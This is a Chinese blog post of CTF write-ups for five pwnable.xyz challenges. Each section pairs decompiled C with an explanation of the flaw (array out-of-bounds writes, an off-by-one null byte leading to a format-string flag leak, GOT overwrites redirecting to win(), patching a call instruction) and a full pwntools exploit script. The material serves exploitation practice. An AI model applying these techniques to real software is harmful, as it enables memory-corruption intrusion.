pwnable.xyz wp 4 - 8

本文深入探讨了64位系统下栈对齐原理,展示了如何利用栈溢出和格式化字符串漏洞进行攻击。通过精心构造的payload,实现了对程序内存的操纵,包括修改函数指针以调用特定函数,以及利用数组越界漏洞修改got表项,最终达到执行自定义代码的目的。同时,文章还提到了输入输出检查的绕过技巧,以及在多目标环境中寻找利用点的策略。
摘要由CSDN通过智能技术生成

misalignment

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 s[20]; // [rsp+10h] [rbp-A0h] BYREF

  s[19] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(s, 0, 0x98uLL);
  *(__int64 *)((char *)&s[1] + 7) = 3735928559LL;
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &s[4], &s[5], &s[6]) == 3 && s[6] <= 9 && s[6] >= -7 )
  {
    s[s[6] + 7] = s[4] + s[5];
    printf("Result: %ld\n", s[s[6] + 7]);
  }
  if ( *(__int64 *)((char *)&s[1] + 7) == 0xB000000B5LL )
    win();
  return 0;
}

因为64位系统, 按qword(8字节)对齐, 所以数组元素分两次写入, 达到检测条件*(__int64 *)((char *)&s[1] + 7) == 0xB000000B5LL
在这里插入图片描述
第一次写入0 0xB500000000000000 -6
第二次写入0 0x0B000000 -5
转为十进制
第一次写入0 -5404319552844595200 -6
第二次写入0 184549376 -5

from pwn import *

url, port = "svc.pwnable.xyz", 30003 
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")

debug = False
if debug:
    context.log_level="debug"
    io = process(filename)
    gdb.attach(io)
else:
    io = remote(url, port)

io.sendline("0 -5404319552844595200 -6")
io.sendline("0 184549376 -5")
io.sendline("z")
io.interactive()

GrownUp

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // [rsp+8h] [rbp-28h]
  __int64 buf[4]; // [rsp+10h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  buf[0] = 0LL;
  buf[1] = 0LL;
  printf("Are you 18 years or older? [y/N]: ");
  *((_BYTE *)buf + (int)(read(0, buf, 0x10uLL) - 1)) = 0;
  if ( LOBYTE(buf[0]) != 121 && LOBYTE(buf[0]) != 89 )
    return 0;
  src = (char *)malloc(0x84uLL);
  printf("Name: ");
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ");
  printf(qword_601160, usr);
  return 0;
}

strcpy(usr, src);会在字符串末尾加’\x00’
在这里插入图片描述
注意到usr到qword_601160偏移为0x80, 多出来一个’\x00’可以覆盖qword_601160低位, 然后控制格式化字符串

在这里插入图片描述
利用格式化漏洞泄露服务器上真实的flag

研究一下payload构造, 首先需要修改qword_601160指针指向可控位置0x601100(本来qword_601160这个指针指向原格式化字符串, 这里通过strcpy函数在最后一个字符增加’\x00’这个漏洞, 溢出一个字节修改这个指针), 在这个可控位置构造格式化字符串触发格式化漏洞, 在本地调试找到距离flag的偏移, 然后泄露服务器上的flag

flag_addr = 0x601080
origin_fmtstr_addr = 0x601160
usr_addr = 0x6010E0
changed_fmtstr_addr = 0x601100

当offset设为8时, 可以得到本地flag
在这里插入图片描述

from pwn import *

url, port = "svc.pwnable.xyz", 30004 
filename = "./GrownUpRedist"
# elf = ELF(filename)
# libc = ELF("")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # gdb.attach(io)
else:
    io = remote(url, port)

flag_addr = 0x601080
payload1 = b"y"*8 + p64(flag_addr)
io.sendafter("[y/N]: ", payload1)

offset = 8
payload2 = cyclic(4 * 8) + b"%p"*offset + b"%s"
payload2 = payload2.ljust(0x80, b'z')
io.sendafter("Name: ", payload2)

io.interactive()
卡点

写脚本时犯愚蠢操作

payload2.ljust(0x80, b'z')

应该是

payload2 = payload2.ljust(0x80, b'z')

note

在这里插入图片描述
在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_int32();
        if ( v3 != 1 )
          break;
        edit_note();
      }
      if ( v3 != 2 )
        break;
      edit_desc();
    }
    if ( !v3 )
      break;
    puts("Invalid");
  }
  return 0;
}
int read_int32()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x20uLL);
  return atoi(buf);
}

void edit_note()
{
  int v0; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  printf("Note len? ");
  v0 = read_int32();
  buf = malloc(v0);
  printf("note: ");
  read(0, buf, v0);
  strncpy(s, (const char *)buf, v0);
  free(buf);
}

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(0x20uLL);
  printf("desc: ");
  return read(0, buf, 0x20uLL);
}

在这里插入图片描述
通过edit_note可以覆写buf指针, 如果传入0x28大小空间, 后8位传入got表地址, 就可以修改buf指针指向got表的一项, 然后利用edit_desc 修改got表项指向win(), cat flag

from pwn import *
from pwnlib.util.cyclic import cyclic

url, port = "svc.pwnable.xyz", 30016 
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # gdb.attach(io)
else:
    io = remote(url, port)


def edit_note(size, note):
    io.sendlineafter("> ", "1")
    io.sendlineafter("Note len? ", str(size))
    io.sendafter("note: ", note)

def edit_desc(content):
    io.sendlineafter("> ", "2")
    io.sendlineafter("desc: ", content)


win_addr = elf.sym['win']
atoi_got = elf.got['atoi']
payload = cyclic(0x20) + p64(atoi_got)
edit_note(0x28, payload)
edit_desc(p64(win_addr))
io.sendlineafter("> ", "")
io.interactive()
卡点

注意io的字符串, 不能超过read的限定大小, 下面这个例子是错误的

def edit_note(size, note):
    io.sendlineafter("> ", "1")
    io.sendlineafter("Note len? ", str(size))
    io.sendlineafter("note: ", note)

这样用sendafter()才行, 不能超过read的0x28个字符数, 这里卡了10min

def edit_note(size, note):
    io.sendlineafter("> ", "1")
    io.sendlineafter("Note len? ", str(size))
    io.sendafter("note: ", note)

xor

在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h] BYREF
  __int64 v6[2]; // [rsp+20h] [rbp-10h] BYREF

  v6[1] = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6[0] = 0LL;
    printf(format);
    v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, v6);
    if ( !v4 || !v5 || !v6[0] || v6[0] > 9 || v3 != 3 )
      break;
    result[v6[0]] = v5 ^ v4;
    printf("Result: %ld\n", result[v6[0]]);
  }
  exit(1);
}

发现elf的地址空间rwx, 所以可以考虑修改elf程序
在这里插入图片描述

漏洞利用: 修改call exitcall wincat flag

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
虽然条件限制v6[0] > 9会直接退出, 不过没限制不能是负数, 所以这里依然存在数组越界漏洞, 从result数组往低地址越界到call exit, 然后将call exit赋值为1 ^ call win的shellcode

用到的API
elf.asm(addr, code)将elf文件中addr地址的代码修改为code的汇编代码
elf.read(addr, size)将elf文件中addr地址处开始按size大小读取汇编代码
u64(shellcode)将shellcode解码为整数

from pwn import *

url, port = "svc.pwnable.xyz", 30029
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # gdb.attach(io)
else:
    io = remote(url, port)


result_addr = 0x202200
call_exit_addr = 0x0AC8
win_addr = 0x0A21
elf.asm(call_exit_addr, "call " + str(win_addr))
shellcode_num = elf.read(call_exit_addr, 5)
shellcode_num = shellcode_num.ljust(8, b'\x00')
shellcode_num = u64(shellcode_num)
offset = (call_exit_addr - result_addr) / 8 

payload = "1 {} {}".format(shellcode_num, offset)
io.sendlineafter("> 💩   ", payload)
io.interactive()

two targets

在这里插入图片描述
在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char s[32]; // [rsp+10h] [rbp-40h] BYREF
  _QWORD v5[4]; // [rsp+30h] [rbp-20h] BYREF

  v5[3] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = read_int32();
      if ( v3 != 2 )
        break;
      printf("nationality: ");
      __isoc99_scanf("%24s", v5);
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        printf("age: ");
        __isoc99_scanf("%d", v5[2]);
      }
      else if ( v3 == 4 )
      {
        if ( (unsigned __int8)auth(s) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      printf("name: ");
      __isoc99_scanf("%32s", s);
    }
  }
}

通过auth(s)检测可以调用win(), 但是需要逆向auth()算法…
这里用pwn的方式调用win(), 看到__isoc99_scanf("%24s", v5);输入24字节会覆盖到v5[2], 后面__isoc99_scanf("%d", v5[2]);是对v5[2]进行写操作, 所以相当于存在任意地址写的逻辑漏洞, 既然如此通过修改一个函数的got表项为win函数地址即可cat flag

在这里插入图片描述

选择strncmp函数, 再修改之后传入数字4即可触发auth中的strncmp(win

from pwn import *
from pwnlib.util.cyclic import cyclic

url, port = "svc.pwnable.xyz", 30031 
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # gdb.attach(io)
else:
    io = remote(url, port)

strncmp_got = elf.got['strncmp']
win_addr = elf.sym['win']

payload = cyclic(16) + p64(strncmp_got)
io.sendlineafter("> ", "2")
io.sendlineafter("nationality: ", payload)
io.sendlineafter("> ", "3")
io.sendlineafter("age: ", str(win_addr))
io.sendlineafter("> ", "4")
io.interactive()

如果修改的是输入输出的got表项会触发程序崩溃, 稳妥的方法为修改strncmp, 不影响正常程序流

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值